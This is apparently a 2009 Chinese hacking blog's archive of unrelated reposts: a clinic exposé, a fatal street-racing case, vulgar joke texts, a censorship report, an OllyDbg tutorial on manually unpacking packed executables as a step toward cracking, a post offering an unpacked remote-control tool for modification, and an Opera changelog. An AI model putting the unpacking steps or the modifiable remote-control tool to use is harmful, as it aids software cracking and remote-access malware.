防御被摧毁后的盟友几乎会去做杨永信所要求的一切，一般情况下，杨永信会要求刚去的盟友给父母磕头。忐忑不安的父母们突然看到孩子如此听话，会对中心的神奇佩服得五体投地。由于网戒中心的权威性，家长们很快就被摆布得如此听话，即使他们都知道在临沂治疗的核心是恐惧而非爱护，但仍然对效果感到满意。“杨叔只用了两天时间就让孩子跪倒在了我的面前道歉。”一位家长兴冲冲告诉我。当孩子已经屈服的时候，家长们表现得是兴奋，他们是网戒中心的同盟者。

我在晚间点评亲眼目睹了对于一个盟友的点评。管理人员之一的涛哥（对于管理人员，大家以哥、姐相称，除了涛哥，还有彬哥、雷哥、兰姐、霞姐等人）告诉大家，该盟友曾经想杀死父母，以及其他种种极端的行为，通过把盟友行为极端放大树立一个稻草人的靶子，再结合该盟友的其他事件对该他从政治、社会、家庭等各方面进行了剖析，把他贬得一无是处，再找该盟友的父亲对儿子进行批判，找其他盟友进行评价，并请该盟友进行自我批评，把自己的以前说得一无是处。在这样的场合不仅孩子，就连家长都不可能有任何反驳的可能性。

该盟友最后以绝望的哭泣作为回应，并表示一定听杨叔（专有名词，对杨永信的称呼）的话。他的自尊和抵抗已经完全被摧毁了。

在4月21日上午，杨永信还对两个不守纪律的人进行“点评”，其中一个认为自己被冤枉了，不应该被记圈。

所谓记圈，就是根据盟友的表现被提出警告，五次警告就可以构成一次“进13号”的条件，在点评完毕后，已经“达到条件”的人将在下午接受单独的电击治疗。据滕飞透露，记圈非常随意。我亲眼见到中心管理人员之一的涛哥因为几位盟友不积极举手回答问题，就给他们每人记了两个圈。

在该堂点评课上，杨永信并没有纠正错误记圈行为，反而斥责上述盟友经不起考验。他着重讲述了人应该禁得起冤枉，就是真的弄错了，也要经受住考验的道理。并提出，以后要增加训练经受冤枉的课程，培养人们的意志力。在他举手投足之间都能获得家长的完全赞成。当他问“对不对”的时候，总是能够得到一致性的“对”的答复。

当天上午的点评课一直持续到12点半，其内容仅仅是对两个人进行点评，并欢送两个即将离开者。这原本可以用半个小时结束的事件却花了四个多小时，基本上都是杨永信一个人在讲话，其内容多为重复，却极具感染力，常常有家长因为抑制不住激动而流下泪水。

据我现场了解，盟友的生活几乎每天都是固定的，上午点评，下午军训，晚上继续点评。

与此同时，这个团体内还产生了组织，产生了家长委员会和盟友中选拔的组长。根据我的观察，盟友和家长也是分三六九等的，这种等级化的差异很可能是构成忠诚的一个要素。通过在宏大的场面中不停地赞扬和拔高那些服从的人，能够让有抵抗情绪的人迅速瓦解。在这样的环境中，望子成龙的家长更缺乏抵御能力。

具有强大向心力的组织是地下社会诞生的基础，这个地方已经具备了条件。我所能说的就是，当初00功也是在权威媒体和出版机关的护翼之下的，最后所产生的却是一个靠集权和崇拜维持的地下社会组织。

滕飞经历过宏大的场面后也服从了，但他并没有完全服从。在入院半个月后，他选择了逃走。

按照医院的规矩，入院半个月的新人是无法离开的。但是半个月后有了放风的机会，可以在周末的时候上街去一下。为了防止盟友利用这个机会逃走，每个盟友上街的时候，必须由两个家长陪伴。但出了医院的滕飞三下五除二推开了两位家长，向着自由奔去……

可是三个小时后，他又回到了医院的病房内。

魔山

上去就下不来的魔山。迅速扩大的行业。厘不清的概念和无数的受害者。

“进去容易出去难。”滕飞向我表示。

除非住满了四个半月，否则很难离开。滕飞属于特例。

半个月时他实施了第一次越狱计划，却以失败告终。“我没有地方可以去。”他告诉我。由于家在潍坊，身无分文的他只好给还在网戒中心的母亲打了电话，被劝回了基地。

滕飞回去的代价是在当夜接受了20分钟的电击。并且，从今往后，在别人获得许可上床休息之后，他以及几个“二进宫”或者犯过错误的人，必须“等身长头”，也就是像藏族人朝觐拉萨那样磕着五体投地的长头，每天两百到三百下，一直到十二点，才能睡觉。

然而他也是幸运的，在一个月零一个星期之后，他在潍坊的父亲终于认定这样的治疗是不行的，强行把他接走，为此，他们多赔付了网戒中心5000元钱。滕飞表示一个多月的时间内，他的花费一共在一万五千元左右。

关于治疗网瘾的费用，我询问了多个家长，有的告诉我每个月六千左右的固定费用，加上其他花费在8000元左右；有的认为还多一些。但是几乎所有的家长都同意，四个半月的治疗下来，花费一定在3万元以上。据该中心的宣传，已经有几千名盟友在此治辽过网瘾，按照保守的2000名计算，该中心也已经有了6000 万人民币的收入。

即使在入住的前几天，大多数盟友都迅速改变争取早日离开这里，中心还是有办法让绝大多数盟友住够四个半月。其用的方法是：1，威胁住不够天，会导致孩子再偏。2，建立各种各样的理论论证四个半月最有效果。3，各种心理暗示去影响家长，让他们不好意思提前离开，实际上，只要进了中心，家长总是比孩子更听话。4，通过协议限制盟友必须多住。

我参加了一个盟友告别仪式，其中一个班长在4月21日离开。他住了整整6个月，当了5个月的班长。在欢送仪式上，杨永信用了一个多小时反复强调了该班长的忠诚，并告诫大家一定要注满4个半月才能保证疗效，否则将前功尽弃。

一位家长也告诉我，4个半月是科学的，“科学家说，一种事情要形成习惯，必须要21天，比如，如果每天晚上12点把你吵醒，一次两次你都不会自己形成习惯，可是如果接连21天把你吵醒，到22天时你就会自己醒过来。21天和一个月相差不大，我们就按一个月算。如果要巩固这个习惯，需要四个疗程，也就是4个月。再加半个月调整期，所以四个半月是很科学的。”

另一位家长则认为，4个半月是考虑到网游账号在4个多月后过期，孩子回去后也无法继续在网络上修级了。“那些只住一两个月的，回去账号没有过期，还能继续打。”

除了告诫之外，协议也阻止了家长带盟友提前离开，否则就要多交钱，并且不保证治疗效果。

“就是这样也算不错，花钱还是值得的。”一位家长说，他告诉我，这里的家长满意度是百分之八十多，是全国最高的。

令人感到吊诡的是：那些更加人性化的机构治愈率却要低得多，反而不受欢迎。该家长的孩子上了青岛大学，因为网瘾而无法学习，曾经在青岛的某网瘾治疗机构治疗，“治了十几天，花了两千多，可是那里没有强制力，也没有效果。”

但是，即使家长们心甘情愿相信网戒中心提供的数据，并一再把这些数据告诉我，这里的治愈率到底怎么样，仍然有疑问。

在网络上，如果搜杨永信，就会发现诅咒者比赞扬者要多得多，对于该中心电疗、强迫禁闭、洗脑的说法已经层出不穷。甚至百度贴吧里面有专门骂他的一个吧。曾经在中心表现出色的乖孩子离开后迅速再偏。杨永信认定这些孩子关于撒谎和作假。“但是之所以作假，是因为在医院时被逼着说假话，很多人其实是不信杨叔那一套的，但他们要离开就必须作假。”滕飞说。

就是我了解到的那些出院后的精品（专用词汇，表示戒网瘾优秀者）的家长们也发现，孩子虽然有变化，但更多是因为害怕再回到治疗中心去，或者由于治疗中心的隔绝已经让他们对于熟悉的世界有了生疏感。

一位家长告诉我，杨永信在考虑下一步，除了做网瘾戒除中心之外，还想给出院者开设文化课堂，甚至想把他的经验介绍到全国去。

与该院同一条街上，附近处就有至少两家网吧，夜幕降临后灯火通明、人满为患，粗略估计，其上网的人数加起来已经超过了治疗中心现在的盟友数，这些人仍然在上网，却并没有需求治疗。

仅仅靠这样的治疗是否真的能够根除网瘾现象？抑或是这个现象的背后有更深层次的原因？什么是网瘾？网瘾治疗中心仍然在大量出现，这有成为一种新兴行业的趋势，但对于这个直接影响青少年的行业来说，连最基本的概念的都没有厘清。

一位心理学专家在得知我在做这个题目时告诫道：“问题很复杂，网瘾现象也许是因为家庭对孩子的关注度不够造成的，如果单单说什么网瘾现象，把它当做一种病症，很可能产生了隔离的效果，加深了心理疾病。”他认为，网瘾现象所依赖的心理因素可能在孩子很小的时候就从家庭内部产生了。

在对网瘾有了明确的认识和定性之前就做大规模的治疗，会不会造成对青少年更大的伤害，是值得整个社会深思的问题。如果还是维持现在机构繁多、自行其是的混乱状态，那么受害者将是更多的孩子。

原文链接：http://www.cnbeta.com/articles/83923.htm

电波怒汉万峰骂评杭州富家子飙车案 ZZ

2009-05-11T08:47:00.004+08:00

７日晚，在杭州，一位年仅２５岁的高校毕业生在走过斑马线时，不幸被一辆狂飙的三菱跑车撞飞，送医院抢救无效后死亡。事发后，当地一个网络论坛就出现一个题为“富家子弟把马路当Ｆ１赛道，无辜路人被撞起５米高”的帖子，配发了一组现场照片。有目击者称肇事者撞死人后强辞夺理，“态度很差的，撞死人还不当一回事”，而其同伴更聚在一起嬉笑如常，引发目击者的愤怒，人们也纷纷通过网络等途径声讨肇事者。

据记者调查，附近的居民反映，几乎每晚12点以后就可以看到有跑车在该路段飙车，这些车辆驶过时都会发出巨大声响，严重打扰了该地区市民的休息，而且对市民的安全也造成了威胁。对 “跑车族”无视行人安全，在市区道路飙车行为，网民们也予以了强烈的谴责。

事发后，警方通报说，肇事者胡某驾驶三菱跑车从杭州城东开往城西，结伴同行者两人也各自驾驶跑车。２０时０５分左右，胡某所驾跑车在西湖区文二西路由东向西行驶至南都德嘉西区门口时，车头撞上了由南往北过斑马线的路人谭卓，造成其受伤，经抢救无效死亡。据了解，遇害者谭卓年仅２５岁，毕业于浙江大学，是杭州某企业员工。据他的同学和同事反映，谭卓在浙江大学就读和工作期间表现十分优秀，近期正准备与相恋多年的女友结婚。警方表示，根据当事人胡某及相关证人陈述，案发时肇事车辆已经超速，目前已被警方控制。

肇事者无视法律规定，把城市道路当成F1赛道疯狂飙车，酿成惨案后竟然强辞夺理蛮不在乎，其同伴甚至有心情嬉笑玩闹，无视法律漠视生命的低下人品令人不耻，理应从严惩处。而这种长期存在的违法飙车现象得不到治理，交通管理部门也脱不了干系，管理上的不作为在某种程度上是对这种猖狂恶行的纵容，也是此类惨案发生的原因之一，呼吁有关部门对失职行为进行调查并予以严肃处理。对此，不想过多地评论，有关此事，著名的“电波怒汉”万峰在杭州的《新闻楼外楼》节目中，痛快淋漓的一番怒骂，应该是对肇事者及其同伴、家长和交警部门最好的评论，现摘录如下：

我觉得心情非常地沉重，同时非常地愤怒！你看看肇事者的这几个臭德性，他那个同伙，那小青年的这几个同伙，什么姿势？无所谓，勾肩搭背搂着女朋友还调笑，畜牲一般！我们谴责这帮小混蛋，绝对地要严惩，法律要严惩绝不手软！

另一方面我们也奇怪，为什么？已经刚才有群众说了，这个路段晚上经常在飙车，有关的交警部门为什么没有注意到呢？为什么不严惩呢？你不管他飙车不飙车，你开得那么快，我们不追究你的速度，你把人都撞飞了，目击者说都有两层楼高啊，连着在空中翻了几个跟头啊，这个事情是不是早就应该引起注意？有关部门是不是应该严加管理？

再有一个，我们就想到了，对年轻人，你看看那个臭德性，有钱，他有教养吗？不读书不看报不学习，这是典型的。而且据说，刚才新闻报道里这个小混蛋他还强辞夺理“他撞我的”，我告诉你，给你两个大耳光子已经便宜你了，我是不在现场，我要在现场我扇你一百个大耳光，踹你十脚八脚，太过份了！

这个家长跟母亲，你要反思了，你养的什么儿子？有钱你就了不起啊？你等于是毁了你的儿子，对不对，怎么教育的？混帐！太不象话了！

看到这里，我想，绝大多数人也都会像节目的另一位主持人一样，大喊一声：骂得好！

原文链接：http://lanchen9.blog.sohu.com/116115345.html

PE文件格式图

2009-05-10T20:51:00.000+08:00

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

邪恶的短信...

2009-05-10T20:02:00.002+08:00

1.新总理会见外国特使，他们是：伊朗的她没内衣，日本的仅次于狼，韩国的嫖正欢，越南的软中硬，罗马尼亚的急了就撕裤，沙特的摸还摸得摸还摸不得！
　
2.鬼混这事如果操作得当，就叫恋爱；霸占这事如果计划周密，就叫结婚；性冷淡这事，如果表演得体，就叫贞操；阳痿这事如果装模作样，就叫坐怀不乱。　

3.生产队组织队员在河里摸鱼，摸着摸着水就涨半腰深，一妇女不小心把手伸到一男的内裤里，男的连忙说：那，那是我的。女的一听厉声吼道：谁摸到就是谁的！　

4.东方夜谭：现代企业职位新解：总是在裁人，兼简称总裁；老是板着脸，所以称老板；总想监视你，所以称总监；经常没道理，所以称经理。　

5.开展批评的麻烦：批评上级，官位难保；批评同级，关系难搞；批评自己，自寻烦恼；批评下级，选票减少；批评老婆，她就乱跑；批评老公，他就乱搞！　

6.party委坐船头，政府岸边走，人大一步一回头，政协晃悠悠，工会泪往心里流，团委只盼日落西山头，好把妇联亲个够！　

7.天下三难：登天难，求人难，干处女更难。人间三苦：黄连苦，贫穷苦，硬不了更苦。天下三险：江湖险，人心险，爱滋病更险。人间三薄：纸张薄，人情薄，避孕套更薄。　

8.两只母鸡从一只公鸡身旁走过，其中一只说：他最近怎么总是无精打采的？另一只说：做生意累着了！第一只母鸡好奇的问：卖什么？第二只叹口气说：鸡精。　

9.广外的美女广医的汉广大的痞子满街串；星海的花华农的草华工的和尚满街跑；中大的帅哥广工的狼广药满校是流氓；华师的饭暨大的床深大的女生吓死狼。　

10.经典错别字：姐放思想、浴室俱进、贴进裙中、开脱进去、深入肌层、实是球事、集中精力、丸强拼搏、扬鞭奋进、真抓湿干、坚持不泄、性福愉快、完事如意。　

11.猪找上帝要求投胎做人，帝问：耕种？答太苦。曰：做工？答太累。曰：耍猴？答太难。帝问何求？答：能吃能玩还能嫖！帝大惊：他妈的还想当国家干部！　

12.为表彰您在过去一年里为娱乐业所做的贡献，经市妓委、精委、龟委、裆办、捅鸡局、睡务局、正奸会、鸹奸会、淫奸会、奸插局联合授予您“秃鸡手”称号。　

13.丈夫在厨房杀鸡，待客的妻子喊：鱼煎好了吗？丈夫不耐问：杀鸡煎鱼先干哪个？妻喊：先煎后杀！客惊，妻改口：煎完再杀！客更惊。妻急改口：你煎我杀。　

14.乡下保姆在打扫卧室时发现一个用过的避孕套便问女主人是何物，女主人说：你们农村不做爱吗？保姆说：也做，但不象你们这么猛，连皮都弄下来了！！
原文链接：https://www.xfocus.net/bbs/index.php?act=ST&f=1&t=69035

Friday Top 5: Most Reported Countries (Inaccessibility)

2009-05-10T16:32:00.002+08:00

As we now know, Internet filtering is no longer limited to the usual suspects (China, Iran, Burma); Herdict has allowed us to get wind of new filtering across the world, in places the OpenNet Initiative has never even tested. That is why this week we’re bringing you the top 5 countries reporting inaccessibility!

1. Iran comes in at #1 with 63 reports of inaccessible sites. While that’s not so surprising (after all, Iran is frequently marked by human rights groups as an “Internet enemy“), it’s interesting to note that the most reported sites are all news-related. BBC Persian, Iran Press News, and others are all trending this week.

2. China, always a high-ranking censor of the Net, is #2 on our list this week. While the inaccessibility of such sites as YouTube, Tor, and The Official Website of the Central Tibetan Administration might come as no surprise, 25 inaccessibility reports for The Huffington Post just might.

3. Moldova, for which the OpenNet Initiative found no signs of filtering in 2007, comes in third this week, with 45 reports of inaccessibility. Sites reported included Moldovan Jurnaltv (an “Internet TV” site which has been reporting on Moldova’s recent uprising), Facebook (only on some ISPs), and Unimedia, a Moldovan news site.

4. United States comes in at #4, with the top reported sites all cases of geolocational filtering (also known as reverse filtering) such as Scenta.co.uk (which limits the site to UK users) and Abc.net.au (which is accessible but prohibits users outside of Australia from viewing videos for copyright reasons). In addition to these cases, there are a number of sites such as Facebook being reported as inaccessible from workplaces or public cafes.

5. Rounding out the list at #5 is Thailand, where the most-reported sites are blogs and social media platforms, such as this Ning group, which is an organizing platform for members of Thailand’s red shirt movement.

What Top 5 list would you like to see next week? Let us know.
Link：http://www.herdict.org/blog/2009/05/08/friday-top-5-most-reported-countries-inaccessibility/

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

学习笔记压缩壳脱壳方法（1）

2009-05-10T09:28:00.001+08:00

最近学校大罢工，整好有个机会写篇文章。。。
刚学习行才一个月~秀下自己的学习笔记！
因为自己有一点点编程基础，所以本人学习计划内不包编程笔记了！
我学习步骤：一、学习脱各种不同的壳；
二、学习解密；
三、学习算法；
四、学习编程写注册机；
五、提高编程基础；

以后学到的加密壳等笔记也会放到论坛上给各位参考，共同进步！！

让高手见笑了。。。呵呵！！让咱们一起飞吧菜鸟们！！

手脱 UPX 壳的捷径

用我们已开始提到的”关键提示“。

具体操作：OD载入程序后，直接Ctrl+F，输入 POPAD ;点确定后来到这个命令所在的位置。按

F2，在这个地方下断；再按F9（运行）；停止后，按F2取消刚才下的断点。再F8单步！

1、手脱 ASPCK 的壳

脱这个壳用ESP定律，还是相对快捷的。可以用载入程序后，第二行（是一个CALL）那里面的

ESP。 //多数程序这个壳的第二行都是一个CALL

在左OD左下角的命令行中，输入命令：hr ESP地址（如 hr 0012FFA4）；F9 运行。然后从OD”

调试菜单“中的”硬件断点“这一项将刚才下的断点删除，这点很重要！最后F8单步！

2、用内存镜像法手脱FSG 1.33 和 PCshrink 的壳

1、忽略所有异常
2、Alt+M 打开内存镜像，找到第一个 ”.rsrc“
3、F2（下断），F9（运行）
4、Alt+M 打开内存镜像，找到”Code“段；
5、F2（下断），Shift+F9【这点一定要记住，切记是 Shift+F9】运行；
6、先按F8，再按下F4，直接到达OEP

3、手脱 JDpack 壳和 PEpack 1.0 的壳最简单的方法

脱这个壳推荐使用内存镜像法；

我在用ESP脱壳的时候发现：ESP定律的速度和单步跟踪的速度差不多，所以在这里就不推荐了

。相反，脱 PEpack 1.0 壳的时候，用ESP定律是最快捷的方法。

4、手脱 PEDiminisher ；Dxpack 0.86 ；32lite 0.03a ；PEtite 2.2 这几种壳的简单方法

脱PEDiminisher ；Dxpack 0.86 ；这两种壳的时候，直接用之前讲到的ESP定律，即可完美脱

壳。命令：【hr ESP地址】

用ESP脱 32lite 0.03a 后要注意的是，需要用 ImportREC 这个工具进行修复。如：00410D50

在输入框中输入 10D50 就可以了【004舍去】

在用ESP定律脱 PEtite 2.2 的时候，推荐选择 Pushad 下面那行地址中的 ESP

5、手脱 Exestealth 2.72 的壳

看到这或许大家会沉迷与ESP定律当中，在这里提醒大家：Exestealth 2.72 的壳用我们一开

始提到的”懒方法脱壳“是最简单的；

6、手脱nspack（北斗）1.3 的壳

1、ESP定律，命令：hr ESP地址【脱壳后程序不能正常运行】
2、用 ImportREC 这个工具进行修复，修复后程序正常运行。

另类方法脱 ASPack 2.12R 壳的技巧

Ctrl+S 搜索：retn 0C【retn和零C 中间有个空格】找到后向下看，如下：

retn 0C
push 0 //在 retn 0C 的下面
retn //在这个地方按 F2（下断）；F9（运行）

停止后按一下 F8（单步）；再按一下 F7（跟进）观看这看不懂？没关系，要是我，我也看

不懂，所以我早有准备；详细步骤，如下（这是某程序的一部分）：

程序中断后来到这里：

0046B3B8 C2 oc00 retn 0C //开始F8（单步）
0046B3B9 68 64584500 push registra.00455864 //这里调用来自 00455864 （OEP）
0046B3C0 C3 retn //F7(跟进) 步入到OEP

注意：这种壳ESP不能直接脱。

7、手脱Telock及Yodas Crypter

最后一次异常法！

总结（引用）
四.常用脱壳方法总结

------------------
方法一:单步跟踪法
------------------
介绍:这是最通用的方法,对于未知壳,基本都用这种方法,这种方法过程比较麻烦,要一步一步的跟踪分析,要有一定的耐心.

1.用OD载入,选"不分析代码"

2.单步向下跟踪按F8，实现向下的跳.不让程序往回跳.

3.遇到程序往回跳的（包括循环），我们在下一句代码处按F4（或者右健单击代码，选择断点——>运行到所选）

4.如果刚载入程序，在附近就有一个CALL的，我们就F7跟进去，不然程序很容易运行.

5.在跟踪的时候，如果运行到某个CALL程序就运行的，就在这个CALL中F7进入.

6.一般遇到很大的跳转（跨段跳），比如 jmp XXXXXX 或 JE XXXXXX 或有RETN的一般很快就会到程序的OEP。

-----------------
方法二:ESP定律法
-----------------
介绍: 这种方法可以脱大部的压缩壳和少数加密壳,操作起来比较简单,脱壳速度也相对比较快.

1.开始就点F8向下走，注意观察OD右上角的寄存器中ESP有没突现（变成红色）

2.在命令行下：dd XXXXXXXX(指在当前代码中的ESP地址，或者hr
XXXXXXXX)，按回车！

3.选中下断的地址，断点--->硬件访--->WORD断点。

4.按一下F9运行程序，直接来到了跳转处，按下F8向下走，就到达程序OEP。

-----------------
方法三:内存镜像法
-----------------
介绍:也是一种比较好用的脱壳方法,大部分的压缩壳和加密壳用内存镜像法能快速脱掉.非常实用.

1.用OD打开,设置选项——调试选项——异常,忽略所有异常(也就是把里面的忽略全部√上),然后CTRL+F2重载下程序！

2.按ALT+M,打开内存镜象，找到程序的第一个.rsrc.按F2下断点，然后按SHIFT+F9运行到断点.

3.接着再按ALT+M,打开内存镜象，找到程序的第一个.rsrc.上面的.CODE，按F2下断点！然后按SHIFT+F9，直接到达程序OEP！

----------------
方法四:一步到OEP
----------------
介绍:这是一种巧方法,脱壳速度最快,前提是要知道这个壳的特征,利用这种壳的共性快速找到程序的OEP.这种方法只用于少数壳.

1.开始按Ctrl+F,输入：popad,然后按下F2下断，按F9运行到此处.

2.很快来到大跳转,按F8向下走,来到OEP.

----------------------
方法五:最后一次异常法:
----------------------
介绍:这种方法一般用于加密壳,这是脱加密壳的一种通用方法.

第一步:用OD打开程序,点击选项——调试选项——异常，把里面的√全部去掉！CTRL+F2重载下程序.

第二步:接着我们按SHIFT+F9,直到程序运行,记下从开始按SHIFT+F9到程序运行的次数n.

第三步:重载程序,再按SHIFT+F9,这次按的次数为上次让程序运行时的次数的n-1次.

第四步:此时观察OD的右下角有一个"SE 句柄",这时我们按CTRL+G，输入SE 句柄前的地址！来到这个地址.

第五步:在这里,按F2下断点！然后按SHIFT+F9来到断点处！

第六步:这时候我们已经跳过了所有异常,然后去掉断点，按F8慢慢向下跟踪很快就到达OEP了.

本文非原创，版权归原作者所有，原文链接：http://bbs.pediy.com/showthread.php?t=88455

www.google.co.ma HACKED

2009-05-10T08:58:00.001+08:00

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

HGZ远程控制软件2009脱壳版

2009-05-09T20:44:00.003+08:00

脱壳版的用来做什么想必都很明白，可以修改自己的个人版本。修改中有无法修改的地方可以留言说明。
猛击此处下载！
解压密码：www.obaby.org.cn

版权声明：
转载请注明原作者:☆obaby☆
网站名称：

油价上涨后的7种替代品

2009-05-09T20:14:00.001+08:00

版权声明：
转载请注明原作者:☆obaby☆
网站名称：

文件夹背景 Delphi源码

2009-05-09T18:44:00.002+08:00

声明：
提供此源码仅供学习，版权归原作者所有，本人未做任何修改！
下载地址：http://cid-16507ea1777422ae.skydrive.live.com/self.aspx/.Public/%e7%b3%bb%e7%bb%9f%e7%be%8e%e5%8c%96/%e6%96%87%e4%bb%b6%e5%a4%b9%e8%83%8c%e6%99%af.rar
解压密码：www.obaby.org.cn

版权声明：
转载请注明原作者:☆obaby☆
网站名称：

瘾科学：你是色弱么？

2009-05-09T08:58:00.000+08:00

以上六个图为重点讨论对象，你可以留言分别说出6个图是啥（1号图是25，最初级的）

我相信并不是所有的读者看到上面6个图案时会一下子分辨出来，当然，你能看到1-2个很正常，但如果你看不清楚你想要看的图，即使你站起来，凑过去，哪怕是把显示器转来转去（千万不要砸显示器），你还是看不出来，那么你就有某种颜色的色弱，而红绿色弱者是这个地球上最多的，我们为大家整理了网络上的图片和文字材料，让大家对自己有个了解，同时这也是个很轻松的科技话题，你有色弱么？哪个图你看不清楚？让其它读者给你揭秘吧。

红绿色盲者中的红色盲者只能找到紫色的线，而绿色盲者只能找到红色的线，但红绿色弱者、正常者则两线都找得到。

红绿色盲者中的红色盲者能读出６，而绿色盲者能读出２，但红绿色弱者及正常者则两个字都能读出来

红绿色盲者及红绿色弱者大多能读成５，但全色弱者及正常者则大多都读不出来。

正常者能读出６，红绿色盲者及红绿色弱者读成５，而全色弱者则全然读不出上述的两个字。

正常看应是一幅"牛"的图案，如看到的是一头"鹿"，就有可能是色盲或色弱。

101-102

103-104

104-106

107-108

109-110

111-112

113

色盲是指缺乏或完全没有辨别色彩的能力。通常说的色盲多是指红绿色盲。面对五色缤纷的世界，人们到底是如何感知它的呢？原来在人的视网膜上有一种感光细胞--锥细胞，它有红、绿、蓝3种感光色素。每一种感光色素主要对一种原色光产生兴奋，而对其余两种原色光产生程度不等的反应。如果某一种色素缺乏，则会产生对此种颜色的感觉障碍，表现为色盲或色弱（辨色力弱）。色盲又分许多不同类型，仅对一种原色缺乏辨别力者，称为单色盲，如红色盲，又称第一色盲，比较多见；绿色盲，称为第二色盲，比第一色盲少些；蓝色盲，即第三色盲，比较少见。如果对两种颜色缺乏辨别力者，称为全色盲，较为罕见。色盲多为先天性遗传所致，少数为视路传导系统障碍所致。一般是女性传递，男性表现。

理论上全色盲的人的眼里应该只有黑白的，但是事实并非如此，有趣的是红色盲的人照样能分辨出红色信号灯，同样绿色盲的人也能分辨出绿信号灯，这是为什么呢？这是因为单色盲的人对于三原色是能分辨的，但对于如橙色，淡黄等复合色就分不清了。

先天性色觉障碍通常称为色盲，它不能分辩自然光谱中的各种颜色或某种颜色。而对颜色的辨别能力差的则称色弱，它与色盲的界限一般不易严格区分，只不过轻重程度不同罢了。色盲又分为全色盲和部分色盲(红色盲、绿色盲、蓝黄色盲等)。色弱包括全色弱和部分色弱(红色弱、绿色弱、蓝黄色弱等)。

1．全色盲

属于完全性视锥细胞功能障碍，与夜盲(视杆细胞功能障碍)恰好相反，患者尤喜暗、畏光，表现为昼盲。七彩世界在其眼中是一片灰暗，如同观黑白电视一般，仅有明暗之分，而无颜色差别。而且所见红色发暗、蓝色光亮、此外还有视力差、弱视、中心性暗点、摆动性眼球震颤等症状。它是色觉障碍中最严重的一种，患者较少见。

2．红色盲

又称第一色盲。患者主要是不能分辨红色，对红色与深绿色、蓝色与紫红色以及紫色不能分辨。常把绿色视为黄色，紫色看成蓝色，将绿色和蓝色相混为白色。曾有一老成持重的中年男子买了件灰色羊毛衫，穿上后招来嘲笑，原来他是位红色盲患者，误红色为灰色。早年还有过报道，一红色盲患者当了火车司机，因看错了信号而造成火车相撞。

3．绿色盲

又称第二色盲，患者不能分辨淡绿色与深红色、紫色与青蓝色、紫红色与灰色，把绿色视为灰色或暗黑色。一美术训练班上有位画画得很好的小朋友，总是把太阳绘成绿色，树冠、草地绘成棕色，原来他是绿色盲患者。临床上把红色盲与绿色盲统称为红绿色盲，患者较常见。我们平常说的色盲一般就是指红绿色盲。

4．蓝黄色盲

又称第三色盲。患者蓝黄色混淆不清，对红、绿色可辨，较少见。

5．全色弱

又称红绿蓝黄色弱。其色觉障碍比全色盲程度要低，视力无任何异常，也无全色盲的其它并发症。在物体颜色深且鲜明时，则能够分辨；若颜色浅而不饱和时，则分辨困难。患者也少见。

6．部分色弱

有红色弱(第一色弱)、绿色弱(第二色弱)和蓝黄色弱(第三色弱)等，其中红绿色弱较多见，患者对红、绿色感受力差，照明不良时，其辨色能力近于红绿色盲；但物质色深、鲜明且照明度佳时，其辨色能力接近正常。
原文链接：http://cn.engadget.com/2009/05/08/color-blindness/
>
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

Opera 10.0 Build 1491 Alpha

2009-05-09T08:45:00.000+08:00

Opera 是来自挪威的一个极为出色的网络浏览套件，具有速度快、节省系统资源、定制能力强、安全性高以及体积小等特点，目前已经是广受欢迎的浏览器之一。多文档接口 (MDI)、方便的缩放功能、整合搜索引擎、快捷键与鼠标手势、浏览历史记忆、防止恶意弹出窗口、全屏模式、对 HTML 标准的支持、整合电子邮件与新闻群组以及让用户自定义按钮、皮肤、工具栏等等，都使 Opera 多年来倍受喜爱。

下载:Opera 10.0 Build 1491 Alpha

Highlights
Skin designers can enable opera:config#UserPrefs|DebugSkin and hover any button for skin element info
Crash report improvements, and the crash upload dialog can be disabled from opera:config#UserPrefs|ShowCrashLogUploadDialog
[DSK-173345] Work in progress: No easily accessible option to use another BitTorrent client (affected by DSK-251955 under Known Issues)

Stability
Fixed crash when tab closing behaviour is "Activate first tab opened from current tab"
Work on: [CORE-19925] Many scripted plugins at the same time can crash Opera
Reverted "[CORE-20191] crashes when overwriting TEXTAREA in designMode document"; fixes CORE-20342 and DSK-251789 (Gmail rich text problem, and freeze on several sites)
[DSK-229929] Crash when dragging tabs in and out of windows
[DSK-250634] Crash on form submit
[DSK-251868] Crash dialog crashes on right clicking input
[DSK-251275] Crash on printing
[CORE-19023] Crash on loading sueddeutsche.de
[CORE-20030] Opera starts freezing when more than 22 dashes ("-") appear in a textarea
[DSK-251437] Crash on clicking refresh display toolbar button when Opera inactive
[DSK-251275] Crash on printing
[CORE-20541] Crash on animateMotion with empty values attribute
[CORE-19030] Manipulating styles on an object that is showing fallback content causes script execution lockup
[DSK-251437] Crash on clicking refresh display toolbar button when Opera inactive
[DSK-252417] freeze on hovering image link in aligned block

User Interface
Usage report additions: Searches, number of accounts preferring HTML compose, spell check preference, log if the search was a default search from dropdown or history search from dropdown
[DSK-197251] Keyboard shortcut assigner shoud be able to handle non-ASCII characters
[DSK-237245] Text cut off in save attachments dialog
[DSK-248270] White edges/background for newsfeed/RSS icon
[DSK-248653] Login dialogs corrupted on startup
[DSK-250638] Background not highlighted on Personal bar links
[DSK-251283] Fake shortcut displayed for some menu items (such as Full Screen)
[DSK-251288] Add an option to disable the crashlog dialog
[DSK-252185] Fast forward in Google doesn't work in Italian
[DSK-251279] Font selection buttons are switched in Preferences
[DSK-250270] Opera shows green light for usecure http auth when accessed secure https site before
[DSK-192585] Japanese text in EXIF gets garbled

Core
[CORE-20485] Don't always check cached redirects by default
[CORE-18820] Executing delayed scripts must be finished before sending content loaded event
[CORE-15286] emptying img src does not stop image from loading
[CORE-17217] Links not clickable with DSE if script is slow loading
[CORE-17828] GetBoxRect gives incorrect result for inline which contains block
[CORE-14977] Doesn't fire DOMContentLoaded when a script is added with document.write
[CORE-20373] Scripting not resumed after manipulating visibility of display:none object (Elements are unclickable when signed in for blog.sina.com.cn)

Site Compatibility
[CORE-11248] Nested forms break layout
[CORE-18920] Check if the url is a relative url even if it contains a colon but not ://

Opera Turbo
Fix for turbo icon height
[TURBO-202] Make sure context caches get cleared along with normal cache
[TURBO-203] Perform full reload with new usage info when opening images manually

Mail
[DSK-252156] Forced exporting mail option on missing body
[DSK-252321] Mail lost when upgrading if you have no Mail Root Directory set
[DSK-251611] Opera randomly crashes on compose window
[DSK-226623] Deleting Text in Quick Reply with Shift-Del removes message

Windows
